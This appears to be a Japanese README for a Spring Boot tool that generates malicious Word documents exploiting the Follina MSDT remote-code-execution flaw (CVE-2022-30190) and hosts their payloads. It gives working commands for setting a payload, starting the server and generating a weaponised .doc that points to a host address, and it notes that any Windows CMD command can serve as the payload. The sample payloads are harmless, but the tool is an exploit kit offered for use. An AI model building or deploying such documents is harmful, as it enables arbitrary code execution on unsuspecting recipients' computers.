
Follinaペイロードをホスト/アクティベートするサーバーおよびMS-MSDTプロトコルを悪用する悪意のあるWord文書のジェネレーター。(CVE-2022-30190)
このリポジトリは、Follina ペイロードのホスト/アクティベーションを行うサーバーとして、および CVE-2022-30190 のエクスプロイトに使用できる悪意のある Word 文書のジェネレーターとして機能する、シンプルな Spring Boot アプリケーションを含んでいます。
この脆弱性は、MSDT (Microsoft Windows サポート診断ツール) を介したリモートコード実行 (Remote Code Execution) で構成されています。
独自のペイロードを提供するには、次の手順を実行します。
export FOLLINA_PAYLOAD="notepad.exe"
mvn spring-boot:run
curl -s http://localhost:8080/generateDoc?address=http://192.168.64.128:8080 -o follina.doc
現在のペイロードを変更する場合は、まず現在アクティブなサーバーを停止する必要があります。その後、新しいペイロードを定義して手順を繰り返します。
注: ペイロードは、Windows CMD で実行可能な限り、他の任意のコマンドに置き換えることができます。
クライアントサイドのペイロードを提供するには、次の手順を実行します。
mvn spring-boot:run
cmd クエリパラメータを指定して "Follina" Word 文書を生成します。例:curl -sG http://localhost:8080/generateDoc --data-urlencode 'address=http://192.168.64.128:8080' --data-urlencode 'cmd=start msedge.exe https://www.youtube.com/watch?v=zqTwOoElxBA' -o follina.doc
この場合のペイロードは文書内に埋め込まれており、サーバーに連絡してアクティベートするだけで実行されます。これにより、複数の異なるペイロードを様々な文書に分散させることができ、ペイロードを変更するたびにサーバーを再起動する必要はありません。必要なペイロードを埋め込んだ新しい文書を生成するだけで済みます。
Python 実装を考案し、CVE の分析を共有してくれた John Hammond に多くの感謝を捧げます。